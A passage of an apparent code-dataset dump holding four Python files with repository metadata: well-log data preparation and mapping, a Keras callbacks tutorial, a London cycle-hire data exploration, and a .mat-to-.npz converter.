logs['LITHOLOGY_GEOLINK'].astype('category').values\nplot_well(well_name, \n          logs, \n          facies)\nlogs\n\n\ndef dset_to_nc(dset, f, engine=\"netcdf4\", compression={\"zlib\": True}):\n    if isinstance(dset, xr.DataArray):\n        dset = dset.to_dataset(name=\"data\")\n    encoding = {k: {\"zlib\": True} for k in dset.data_vars}\n    print('saving to {}'.format(f))\n    dset.to_netcdf(f, engine=engine, encoding=encoding)\n    print('Wrote {}.nc size={} M'.format(f.stem, f.stat().st_size / 1000000.0))\ndset_to_nc(dset=xr_all.drop(['geometry']),\n          f=interim_locations/'geolink_norge_well_logs.h5')\n# +\nimport os, shutil\n\ndef get_dir_size(start_path=\".\"):\n    total_size = 0\n    for dirpath, dirnames, filenames in os.walk(start_path):\n        for f in filenames:\n            fp = os.path.join(dirpath, f)\n            total_size += os.path.getsize(fp)\n    return total_size\n\ndef dset_to_zarr(dset, f):\n    if isinstance(dset, xr.DataArray):\n        dset = dset.to_dataset(name=\"data\")\n    encoding = {k: {\"zlib\": True} for k in dset.data_vars}\n    print('saving to {}'.format(f))\n    if f.exists():\n        try:\n            return xr.open_zarr(f)\n        except:\n            shutil.rmtree(f)\n    dset.to_zarr(str(f))\n    print('{}.zarr size={} M'.format(f.stem, get_dir_size(str(f)) / 1000000.0))\n    \ndset_to_zarr(dset=xr_all.drop(['geometry']),\n          f=interim_locations/'geolink_norge_well_logs.zarr')\n# -\n# # Plot map\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport os\nfrom tqdm.auto import tqdm\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\n\n# +\n# import pandas as pd\n# import xarray as xr\n# xf = xr.open_zarr(\"../../data/processed/geolink_norge_dataset/geolink_norge_well_logs.zarr\")\n# df = xf.to_dataframe().swaplevel().sample(1000)\n# df['LITHOLOGY_GEOLINK'] = df['LITHOLOGY_GEOLINK'].astype('category')\n# df['Well'] = df.index.get_level_values(0).astype('category')\n# df['DEPT'] = df.index.get_level_values(1)\n# feature_cols = ['CALI', 'DTC', 'GR', 'RDEP', 'RHOB',\n#        'RMED', 'xc', 'yc', 'DEPT']\n# df = df.dropna(how='any', subset=feature_cols+['LITHOLOGY_GEOLINK'])\n# df = df.sort_index()\n\n# import geopandas as gpd\n# gdf = gpd.GeoDataFrame(df, geometry=gpd.points_from_xy(df.xc, df.yc))\n# gdf = gdf.set_crs(epsg=4326).to_crs(epsg=3857)\n# gdf.plot()\n# -\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# # Plot contextily\n\nfrom pathlib import Path\ninterim_locations = Path(\"../../data/processed/geolink_norge_dataset/\")\ndf_well_tops = gpd.read_file(interim_locations / \"norge_well_tops.gpkg\").set_crs(epsg=4326).to_crs(epsg=3857)#.head(40)\n# df_well_tops.plot()\n\n# +\n\n\nimport contextily as ctx\nax = df_well_tops.plot(figsize=(18, 18), edgecolor='k')\nctx.add_basemap(ax, url=ctx.providers.Esri.OceanBasemap, zoom=8)\n\n# Plot every 5th\ndf_well_tops[::5].apply(lambda x: \n                   ax.annotate(\n                       s=x.wlbWellboreName, \n                       xy=x.geometry.centroid.coords[0], \n                       ha='left',\n                       c='white',\n                       \n                   ), axis=1);\n# +\nax = df_well_tops.plot(figsize=(18, 18), edgecolor='k')\n# ctx.add_basemap(ax, url=ctx.providers.Esri.OceanBasemap)\nctx.add_basemap(ax,\n                crs=df_well_tops.crs.to_string(),\n                source=ctx.providers.Stamen.Watercolor\n               )\n\n# Plot every 5th\ndf_well_tops[::5].apply(lambda x: \n                   ax.annotate(\n                       s=x.wlbWellboreName, \n                       xy=x.geometry.centroid.coords[0], \n                       ha='left',\n                       c='white'\n                   ), axis=1);\n\n# -\n\nwest, south, east, north = bbox = df_well_tops.total_bounds\nimg, ext = ctx.bounds2raster(west,\n                             south,\n                             east,\n                             north,\n                             \"world_watercolor.tif\",\n                             source=ctx.providers.Stamen.Watercolor,\n                             ll=True,\n                             zoom=8\n                            )\n\n\n\n\nwest, south, east, north = bbox = df_well_tops.total_bounds\nimg, ext = ctx.bounds2raster(west,\n                             south,\n                             east,\n                             north,\n                             \"oceanesri.tif\",\n                             source=ctx.providers.Esri.OceanBasemap,\n                             ll=True,\n                             zoom=8\n                            )\n\n\n# +\n# ctx.bounds2raster?\n# -\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "4f87e42619c941aaa22f429d871d991d5bfabe5d", "size": 15774, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/z00_Data_prep/00-mc-prep_geolink_norge_dataset.py", "max_stars_repo_name": "lixuekai2001/ml_for_log_data", "max_stars_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-09-24T06:34:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-18T14:43:11.000Z", "max_issues_repo_path": "notebooks/z00_Data_prep/00-mc-prep_geolink_norge_dataset.py", "max_issues_repo_name": "lixuekai2001/ml_for_log_data", "max_issues_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/z00_Data_prep/00-mc-prep_geolink_norge_dataset.py", "max_forks_repo_name": "lixuekai2001/ml_for_log_data", "max_forks_repo_head_hexsha": "1e01c4c6c9a3ee6e20c5cfe8db44029c0aeaedd8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2020-10-14T07:13:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-23T01:59:41.000Z", "avg_line_length": 26.29, "max_line_length": 156, "alphanum_fraction": 0.67262584, "include": true, "reason": "import numpy", "num_tokens": 4641, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3960681662740416, "lm_q2_score": 0.15203223585907102, "lm_q1q2_score": 0.060215128871244854}}
{"text": "# -*- encoding: utf-8 -*-    \n\"\"\"\n@Author     :   zYx.Tom\n@Contact    :   526614962@qq.com\n@site       :   https://zhuyuanxiang.github.io\n---------------------------\n@Software   :   PyCharm\n@Project    :   deep-learning-with-python-notebooks\n@File       :   ch0702_keras_callbacks.py\n@Version    :   v0.1\n@Time       :   2019-11-27 11:54\n@License    :   (C)Copyright 2018-2019, zYx.Tom\n@Reference  :   \u300aPython \u6df1\u5ea6\u5b66\u4e60\uff0cFrancois Chollet\u300b, Sec0702\uff0cP210\n@Desc       :   \u9ad8\u7ea7\u7684\u6df1\u5ea6\u5b66\u4e60\u6700\u4f73\u5b9e\u8df5\uff0c\u4f7f\u7528Keras\u56de\u8c03\u51fd\u6570\n\"\"\"\nimport os\nimport sys\n\nimport keras\nimport matplotlib.pyplot as plt\nimport numpy as np  # pip install numpy<1.17\uff0c\u5c0f\u4e8e1.17\u5c31\u4e0d\u4f1a\u62a5\u9519\nimport winsound\nfrom keras.callbacks import EarlyStopping\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.callbacks import ReduceLROnPlateau\nfrom keras.losses import binary_crossentropy\nfrom keras.models import Sequential\nfrom keras.optimizers import rmsprop\n\n# \u5c4f\u853d\u8b66\u544a\uff1aYour CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n# \u8bbe\u7f6e\u6570\u636e\u663e\u793a\u7684\u7cbe\u786e\u5ea6\u4e3a\u5c0f\u6570\u70b9\u540e3\u4f4d\nnp.set_printoptions(precision = 3, suppress = True, threshold = np.inf, linewidth = 200)\n# to make this notebook's output stable across runs\nseed = 42\nnp.random.seed(seed)\n# Python \u22653.5 is required\nassert sys.version_info >= (3, 5)\n# numpy 1.16.4 is required\nassert np.__version__ in [\"1.16.5\", \"1.16.4\"]\n\n\n# ----------------------------------------------------------------------\n# \u8bbe\u7f6e\u6a21\u578b\u68c0\u67e5\u70b9\uff0c\u76d1\u63a7\u6a21\u578b\u8fbe\u5230\u8981\u6c42\u65f6\u5c31\u505c\u6b62\u8bad\u7ec3\ndef model_check_and_stop():\n    callbacks_list = [\n            # \u76d1\u63a7\u6a21\u578b\u7684\u9a8c\u8bc1\u7cbe\u5ea6\uff0c\u5982\u679c\u7cbe\u5ea6\u5728\u591a\u4e8e\u4e00\u8f6e\u65f6\u95f4\uff08\u5373\u4e24\u8f6e\uff09\u5185\u4e0d\u518d\u6539\u5584\uff0c\u5c31\u4e2d\u65ad\u8bad\u7ec3\n            EarlyStopping(monitor = 'acc', patience = 1),\n            # \u6bcf\u8f6e\u8fc7\u540e\u90fd\u4fdd\u5b58\u5f53\u524d\u6743\u91cd\u4e8e\u76ee\u6807\u6587\u4ef6\u4e2d\uff0c\u5982\u679c\u2018val_loss\u2019\u6ca1\u6709\u6539\u5584\uff0c\u5c31\u4e0d\u9700\u8981\u8986\u76d6\u6a21\u578b\u6587\u4ef6\uff0c\u76ee\u6807\u662f\u59cb\u7ec8\u4fdd\u5b58\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u89c1\u5230\u7684\u6700\u4f73\u6a21\u578b\n            ModelCheckpoint(filepath = 'my_model.h5', monitor = 'val_loss', save_best_only = True)\n    ]\n    model = Sequential()\n    model.compile(optimizer = rmsprop(), loss = binary_crossentropy, metrics = ['acc'])\n    # \u7531\u4e8e\u56de\u8c03\u51fd\u6570\u8981\u76d1\u63a7\u201c\u9a8c\u8bc1\u96c6\u635f\u5931\u201d\u548c\u201c\u9a8c\u8bc1\u96c6\u7cbe\u5ea6\u201d\uff0c\u6240\u4ee5\u9700\u8981\u4f20\u5165validation_data\uff08\u9a8c\u8bc1\u6570\u636e\uff09\n    model.fit(x, y, epochs = 10, batch_size = 32, callbacks = callbacks_list, validation_data = (x_val, y_val))\n\n\n# ----------------------------------------------------------------------\n# ReduceLROnPlateau\uff08Reduce learning rate when a metric has stopped improving.\uff09\n# \u5f53\u76d1\u63a7\u503c\u5230\u8fbe\u4e00\u4e2a\u7a33\u5b9a\u6c34\u5e73\uff08Plateau\uff09\uff0c\u90a3\u4e48\u51cf\u5c11\u5b66\u4e60\u7387\ndef reduce_lr_on_plateau():\n    # \u76d1\u63a7\u6a21\u578b\u7684\u201c\u9a8c\u8bc1\u96c6\u635f\u5931\u201d\uff0c\u5982\u679c\u9a8c\u8bc1\u635f\u5931\u572810\u8f6e\u5185\u90fd\u6ca1\u6709\u6539\u5584\uff0c\u90a3\u4e48\u5c31\u89e6\u53d1\u8fd9\u4e2a\u56de\u8c03\u51fd\u6570\uff0c\u5c06\u5b66\u4e60\u7387\u4e58\u4ee50.1\n    callbacks_list = [ReduceLROnPlateau(monitor = 'val_loss', factor = 0.1, patience = 10)]\n    # \u7531\u4e8e\u56de\u8c03\u51fd\u6570\u8981\u76d1\u63a7\u201c\u9a8c\u8bc1\u96c6\u635f\u5931\u201d\uff0c\u6240\u4ee5\u9700\u8981\u4f20\u5165validation_data\uff08\u9a8c\u8bc1\u6570\u636e\uff09\n    model.fit(x, y, epochs = 10, batch_size = 32, callbacks = callbacks_list, validation_data = (x_val, y_val))\n\n\n# ----------------------------------------------------------------------\n# \u7f16\u5199\u81ea\u5df1\u7684\u56de\u8c03\u51fd\u6570\uff08\u521b\u5efakeras.callbacks.Callback\u5b50\u7c7b\uff09\n# \u7c7b\u7684\u65f6\u95f4\u70b9\uff1a\n# on_epoch_begin\uff1a\u5728\u6bcf\u8f6e\u5f00\u59cb\u65f6\u88ab\u8c03\u7528\n# on_epoch_end\uff1a\u5728\u6bcf\u8f6e\u7ed3\u675f\u65f6\u88ab\u8c03\u7528\n# on_batch_begin\uff1a\u5728\u5904\u7406\u6bcf\u4e2a\u6279\u91cf\u4e4b\u524d\u88ab\u8c03\u7528\n# on_batch_end\uff1a\u5728\u5904\u7406\u6bcf\u4e2a\u6279\u91cf\u4e4b\u540e\u88ab\u8c03\u7528\n# on_train_begin\uff1a\u5728\u8bad\u7ec3\u5f00\u59cb\u65f6\u88ab\u8c03\u7528\n# on_train_end\uff1a\u5728\u8bad\u7ec3\u7ed3\u675f\u65f6\u88ab\u8c03\u7528\n# \u56de\u8c03\u51fd\u6570\u53ef\u4ee5\u8bbf\u95ee\u7684\u5c5e\u6027\uff1a\n# self.model\uff1a\u8c03\u7528\u56de\u8c03\u51fd\u6570\u7684\u6a21\u578b\u5b9e\u4f8b\n# self.validation_data\uff1a\u4f20\u5165fit()\u4f5c\u4e3a\u9a8c\u8bc1\u6570\u636e\u7684\u503c\nclass MyCallBack(keras.callbacks.Callback):\n    # \u5728\u6bcf\u8f6e\u7ed3\u675f\u540e\u5c06\u6a21\u578b\u6bcf\u5c42\u7684\u6fc0\u6d3b\u4fdd\u5b58\u5230\u786c\u76d8\u4e2d\uff08\u683c\u5f0f\u4e3a Numpy \u6570\u7ec4\uff09\n    # \u8fd9\u4e2a\u6fc0\u6d3b\u662f\u5bf9\u9a8c\u8bc1\u96c6\u7684\u7b2c\u4e00\u4e2a\u6837\u672c\u8ba1\u7b97\u5f97\u5230\u7684\n    def set_model(self, model):\n        self.model = model\n        layer_outputs = [layer.output for layer in model.layers]\n        self.activations_model = keras.models.Model(model.input, layer_outputs)\n        pass\n\n    def on_epoch_end(self, epoch, logs = None):\n        if self.validation_data is None:\n            raise RuntimeError(\"Requires validation_data.\")\n        # \u83b7\u53d6\u9a8c\u8bc1\u6570\u636e\u7684\u7b2c\u4e00\u4e2a\u8f93\u5165\u6837\u672c\n        validation_sample = self.validation_data[0][0:1]\n        activations = self.activations_model.predict(validation_sample)\n        f = open('activations_at_epoch_' + str(epoch) + '.npz', 'w')\n        np.savez(f, activations)\n        f.close()\n\n\n# ----------------------------------------------------------------------\n# \u8fd0\u884c\u7ed3\u675f\u7684\u63d0\u9192\nwinsound.Beep(600, 500)\nif len(plt.get_fignums()) != 0:\n    plt.show()\npass\n", "meta": {"hexsha": "e08cbf6a21e22621d0549171d2ee89e2a7c7a1b0", "size": 3887, "ext": "py", "lang": "Python", "max_stars_repo_path": "ch07/ch0702_keras_callbacks.py", "max_stars_repo_name": "zhuyuanxiang/deep-learning-with-python-notebooks", "max_stars_repo_head_hexsha": "6b6b5670193f5a26321c36de3b547203e30dc8c7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2019-11-30T01:34:24.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-28T10:53:22.000Z", "max_issues_repo_path": "ch07/ch0702_keras_callbacks.py", "max_issues_repo_name": "zhuyuanxiang/deep-learning-with-python-notebooks", "max_issues_repo_head_hexsha": "6b6b5670193f5a26321c36de3b547203e30dc8c7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ch07/ch0702_keras_callbacks.py", "max_forks_repo_name": "zhuyuanxiang/deep-learning-with-python-notebooks", "max_forks_repo_head_hexsha": "6b6b5670193f5a26321c36de3b547203e30dc8c7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2020-04-11T10:46:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-09T08:04:55.000Z", "avg_line_length": 36.6698113208, "max_line_length": 111, "alphanum_fraction": 0.6557756625, "include": true, "reason": "import numpy", "num_tokens": 1360, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438009916360314, "lm_q2_score": 0.12421300511003351, "lm_q1q2_score": 0.06016630773260718}}
{"text": "# %% [markdown]\n# # Transport for London Cycle Data Exploration\n#\n# ## Dataset\n# The data was provided from TFL and was retrieved from Kaggle:  \n# https://www.kaggle.com/hmavrodiev/london-bike-sharing-dataset  \n# The dataset counts the number of journeys made per hour in each day of 2015-2017.\n# There are 17414 rows.\n\n# %%\nimport data_proc as dp\n\ncycle_data = dp.load_tfl_csv()\n# cycle_data.head().to_markdown()\n\n# %% [markdown]\n# |    | timestamp           |   cnt |   t1 |   t2 |   hum |   wind_speed |   weather_code |   is_holiday |   is_weekend |   season |\n# |---:|:--------------------|------:|-----:|-----:|------:|-------------:|---------------:|-------------:|-------------:|---------:|\n# |  0 | 2015-01-04 00:00:00 |   182 |  3   |  2   |  93   |          6   |              3 |            0 |            1 |        3 |\n# |  1 | 2015-01-04 01:00:00 |   138 |  3   |  2.5 |  93   |          5   |              1 |            0 |            1 |        3 |\n# |  2 | 2015-01-04 02:00:00 |   134 |  2.5 |  2.5 |  96.5 |          0   |              1 |            0 |            1 |        3 |\n# |  3 | 2015-01-04 03:00:00 |    72 |  2   |  2   | 100   |          0   |              1 |            0 |            1 |        3 |\n# |  4 | 2015-01-04 04:00:00 |    47 |  2   |  0   |  93   |          6.5 |              1 |            0 |            1 |        3 |\n\n# %% [markdown]\n# ## Preprocessing\n# The data is preprocessed to change column names and convert some columns. We also aggregate the data into days and save it for later use.\n#\n# The details of the functions can be found in the `data_proc.py` file\n\n# %%\ncycle_data = dp.change_column_names(cycle_data)\ncycle_data = dp.convert_to_timestamp_objects(cycle_data)\ncycle_day_data = dp.aggregate_data_over_each_day(cycle_data)\ndp.export_parquet(cycle_day_data)\n\n\n# %% [markdown]\n# # Looking at time trends\n# Against week day there are generally fewer journeys on weekends than\n# weekdays, but not by a large amount.\n\n# The highest count of journeys in a single day was 72.5k.\n\n\n# %%\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nsns.set_style(\"whitegrid\")\nplt.style.use(\"seaborn-whitegrid\")\n\n# %% [markdown]\n# ## Weekly Trends\n\n# %%\nplt.figure(num=None, figsize=(10, 6), dpi=80)\nsns.boxplot(x=\"week_day\", y=\"count\", data=cycle_day_data.reset_index())\nplt.tight_layout()\nplt.xlabel(\"Day of week\")\nplt.ylabel(\"Number of trips/day\")\nplt.savefig(\"images/journeys_per_week.png\")\nplt.show()\n\n# %% [markdown]\n# ![](images/journeys_per_week.png)\n# \n# However, breaking it down by hour shows that the distribution of journeys\n# over the day are very different. There are two clear commuting times per\n# weekday, whereas the weekend has a flatter distribution. Friday evening\n# also suggest fewer journeys are made.\n\n# %%\nplt.figure(num=None, figsize=(10, 6), dpi=80)\nagr_counts = (\n    cycle_data[[\"week_day\", \"hour\", \"count\"]]\n    .groupby(by=[\"week_day\", \"hour\"], axis=0)\n    .mean()\n)\nagr_counts_pivot = agr_counts.reset_index().pivot(\n    index=\"week_day\", columns=\"hour\", values=\"count\"\n)\nsns.heatmap(agr_counts_pivot)\nplt.title(\"Mean journeys per hour\")\nplt.xlabel(\"Hour\")\nplt.ylabel(\"Week day\")\nplt.savefig(\"images/journeys_per_hour.png\")\nplt.show()\n\n# %% [markdown]\n# ![](images/journeys_per_hour.png)\n# \n# ## Monthly Trends\n# Against month - there are fewer journeys made in winter time:\n\n# %%\nplt.figure(num=None, figsize=(10, 6), dpi=80)\nsns.boxplot(x=\"month\", y=\"count\", data=cycle_day_data.reset_index())\nplt.tight_layout()\nplt.xlabel(\"Month\")\nplt.ylabel(\"Number of trips/day\")\nplt.savefig(\"images/journeys_per_month.png\")\nplt.show()\n\n# %% [markdown]\n# ![](images/journeys_per_month.png)\n# \n# Looking at the distribution over the day against each month, shows that in\n# summer a higher proportion of journeys are made later in the evening.\n# The two commuting peaks are more spread out.\n\n# %%\nplt.figure(num=None, figsize=(10, 6), dpi=80)\nagr_counts = (\n    cycle_data[[\"month\", \"hour\", \"count\"]].groupby(by=[\"month\", \"hour\"], axis=0).mean()\n)\n\n# Normalise over the sum of each day\nagr_counts_norm = agr_counts.groupby(\"month\").transform(lambda x: (x / x.sum()))\nagr_counts_norm_pivot = agr_counts_norm.reset_index().pivot(\n    index=\"month\", columns=\"hour\", values=\"count\"\n)\nsns.heatmap(agr_counts_norm_pivot)\nplt.title(\"% journeys per hour\")\nplt.xlabel(\"Hour\")\nplt.ylabel(\"Month\")\nplt.savefig(\"images/journeys_per_hour_month_prop.png\")\nplt.show()\n\n# %% [markdown]\n# ![](images/journeys_per_hour_month_prop.png)\n#\n# ## Yearly Trends\n# Is there an increase in journeys over time?\n\n# %%\nimport statsmodels.api as sm\nimport datetime\n\n# generate datenum as regress on the number of journeys\ntemp = cycle_day_data.reset_index().copy()\ntemp[\"datetime\"] = temp.apply(\n    func=lambda x: datetime.date(x[\"year\"], x[\"month\"], x[\"day\"]), axis=1\n)\ntemp[\"datetimeint\"] = temp[\"datetime\"].apply(lambda x: x.toordinal())\ntemp[\"datetimeint\"] = temp[\"datetimeint\"] - temp[\"datetimeint\"].mean()\n\ntemp = sm.add_constant(temp)\nmodel = sm.OLS(temp[\"count\"], temp.loc[:, [\"const\", \"datetimeint\"]])\n\nresults = model.fit()\nprint(results.summary())\n\n# %% [markdown]\n# The coefficient for the datetime feature is a statistically significant and positive.\n# ```\n#                   coef    std err          t      P>|t|      [0.025      0.975]\n# -------------------------------------------------------------------------------\n# const        2.727e+04    316.652     86.115      0.000    2.66e+04    2.79e+04\n# datetimeint     4.7294      1.501      3.151      0.002       1.783       7.676\n# ```\n# This suggests the number of journeys is increasing on average by 4.7 journeys each day.\n# We can plot this over all our data as follows:\n\n# %%\nimport matplotlib.dates as mdates\n\nfig = plt.figure(num=None, figsize=(10, 6), dpi=80)\nax = fig.subplots()\n\n# add trend\ntemp[\"exp\"] = results.predict(temp.loc[:, [\"const\", \"datetimeint\"]])\nax.scatter(\"datetime\", \"count\", data=temp, alpha=0.2)\nplt.plot(temp[\"datetime\"], temp[\"exp\"], \"r-\", lw=2)\nplt.xlabel(\"Date\")\nplt.ylabel(\"Number of trips/day\")\n\n# format the ticks\nax.xaxis.set_major_locator(mdates.YearLocator())\nax.xaxis.set_major_formatter(mdates.DateFormatter(\"%Y\"))\nax.xaxis.set_minor_locator(mdates.MonthLocator())\n\nfig.autofmt_xdate()\nplt.savefig(\"images/against_time.png\")\nplt.show()\n\n# %% [markdown]\n# ![](images/against_time.png)\n#\n# ### Prophet Time Series Analysis\n# This trend can be confirmed through the use of the Prophet library, which has some robustness to outliers.\n# We can split the time series into its various time components - years, months and weeks.\n# This is similar to running a Fourier analysis.\n# The prophet library includes considerations for holidays dates.\n\n# %%\n# Confirm trend with prophet (facebook)\nfrom fbprophet import Prophet\n\ntime_model = Prophet()\nprophet_data = temp.loc[:, [\"datetime\", \"count\"]]\nprophet_data.columns = [\"ds\", \"y\"]\ntime_model.fit(prophet_data)\n\n# Show components\nforecast = time_model.predict(prophet_data)\nfig_components = time_model.plot_components(forecast, weekly_start=1)\n\n# Make future predictions\nfuture = time_model.make_future_dataframe(periods=365, include_history=True)\nfig_pred = time_model.plot(\n    time_model.predict(future), xlabel=\"Date\", ylabel=\"Number of trips/day\"\n)\n\nfig_components.savefig(\"images/prophet_comp.png\")\nfig_pred.savefig(\"images/prophet_pred.png\")\n\n# %% [markdown]\n# ![](images/prophet_comp.png)\n#\n# This matches our conclusions that weekends are less popular overall, and there is a summer month boom.\n#\n# The overall fitted trend, with a year prediction is shown below:\n# ![](images/prophet_pred.png)\n#\n# # Weather data\n# Weather features are engineered by averaging the various weather measures over the whole day.\n# 'Real feel' temperature is very similar to temperature other than low temperatures so only using temp_feels for now:\n# ```\n# cycle_data.plot(x=\"temp\", y=\"temp_feels\", kind=\"scatter\")\n# ````\n#\n# First, looking at different weather types:\n\n# %%\ncycle_day_data[\"weather_code_label\"] = cycle_day_data[\"weather_code\"].replace(\n    {\n        1: \"Clear\",\n        2: \"Scattered clouds\",\n        3: \"Broken clouds\",\n        4: \"Cloudy\",\n        7: \"Rain\",\n        26: \"Snowfall\",\n    }\n)\n\nplt.figure(num=None, figsize=(10, 6), dpi=80)\nsns.boxplot(\n    x=\"weather_code_label\",\n    y=\"count\",\n    data=cycle_day_data,\n    order=[\"Clear\", \"Scattered clouds\", \"Broken clouds\", \"Cloudy\", \"Rain\", \"Snowfall\"],\n)\nplt.tight_layout()\nplt.ylabel(\"Number of trips\")\nplt.xlabel(\"Weather type\")\nplt.savefig(\"images/weather_codes.png\")\nplt.show()\n\n# %% [markdown]\n# ![](images/weather_codes.png)\n# \n# There was only one day of data where snowfall was present, which explains the tight box plot.\n# Generally it can be seen that fewer journeys are made if its raining or possibly snowing.\n#\n# Looking at temperature shows that high temperatures are related to higher journey counts as we would expect.\n\n# %%\ngroup_size = 2.5\ntemp = cycle_day_data.copy()\ntemp[\"temp_feels_rn\"] = (temp[\"temp_feels\"] / group_size).round() * group_size\nplt.figure(num=None, figsize=(10, 6), dpi=80)\nsns.boxplot(x=\"temp_feels_rn\", y=\"count\", data=temp)\nplt.tight_layout()\nplt.xlabel(\"Temperature\")\nplt.ylabel(\"Number of trips/hour\")\nplt.savefig(\"images/temperature.png\")\nplt.show()\n\n# %% [markdown]\n#\n# ![](images/temperature.png)\n# \n# However the above result will be confounded by seasonal trends.\n# We should remove seasonal trends for a better look at how day to day temperature changes relate to journey numbers.\n#\n# We can apply this to the other weather features.\n\n# %% Correlation plots\ntemp = cycle_day_data[[\"count\", \"temp_feels\", \"wind_speed\", \"hum\", \"is_weekend\"]]\ntemp[\"is_weekend\"] = temp[\"is_weekend\"].astype(int)\nsns.pairplot(\n    temp,\n    hue=\"is_weekend\",\n    diag_kind=\"hist\", \n    corner=True,\n)\nplt.savefig(\"images/pairplot.png\")\nplt.show()\n\n# %% [markdown]\n#\n# ![](images/pairplot.png)\n# \n# Similarly to temperature, humidity has a strong correlation with journey numbers.\n# Whereas wind speed is fairly flat. The relationships are similar between weekdays and weekends.\n# \n# Better conditions generally correlate with high number of journeys.\n# This is likely part confounded by the seasonality seen.\n\n", "meta": {"hexsha": "f2483a949bf605d37d2e8f7481c0a53c84bb6952", "size": 10191, "ext": "py", "lang": "Python", "max_stars_repo_path": "TFLCycles/data_exploration.py", "max_stars_repo_name": "stanton119/data-analysis", "max_stars_repo_head_hexsha": "b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "TFLCycles/data_exploration.py", "max_issues_repo_name": "stanton119/data-analysis", "max_issues_repo_head_hexsha": "b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-02-11T23:44:52.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-11T23:44:52.000Z", "max_forks_repo_path": "TFLCycles/data_exploration.py", "max_forks_repo_name": "stanton119/data-analysis", "max_forks_repo_head_hexsha": "b6fda815c6cc1798ba13a5d2680369b7e5dfcdf9", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-16T01:02:23.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-16T01:02:23.000Z", "avg_line_length": 32.768488746, "max_line_length": 139, "alphanum_fraction": 0.6625453832, "include": true, "reason": "import statsmodels", "num_tokens": 2710, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12421300673104343, "lm_q1q2_score": 0.06016630666868045}}
{"text": "#!/usr/bin/env python\n\nimport sys\nfrom numpy import savez\nfrom scipy.io import loadmat\n\nassert len(sys.argv) > 1\n\nfiles = sys.argv[1:]\n\nfor f in files:\n    mat_vars = loadmat(f)\n    mat_vars.pop('__version__')\n    mat_vars.pop('__header__')\n    mat_vars.pop('__globals__')\n\n    fn = f.replace('.mat','.npz')\n    savez(fn,**mat_vars)\n", "meta": {"hexsha": "c1bbd3e4dc96547e57ebe1bb186203cddbd5ba0a", "size": 333, "ext": "py", "lang": "Python", "max_stars_repo_path": "mat2npz.py", "max_stars_repo_name": "wme7/NpyArray", "max_stars_repo_head_hexsha": "5dda2f7d69e8f285ddb88786c1f65791900bd07c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mat2npz.py", "max_issues_repo_name": "wme7/NpyArray", "max_issues_repo_head_hexsha": "5dda2f7d69e8f285ddb88786c1f65791900bd07c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mat2npz.py", "max_forks_repo_name": "wme7/NpyArray", "max_forks_repo_head_hexsha": "5dda2f7d69e8f285ddb88786c1f65791900bd07c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.5263157895, "max_line_length": 33, "alphanum_fraction": 0.6636636637, "include": true, "reason": "from numpy,from scipy", "num_tokens": 94, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.1242130051100335, "lm_q1q2_score": 0.060166305883495516}}
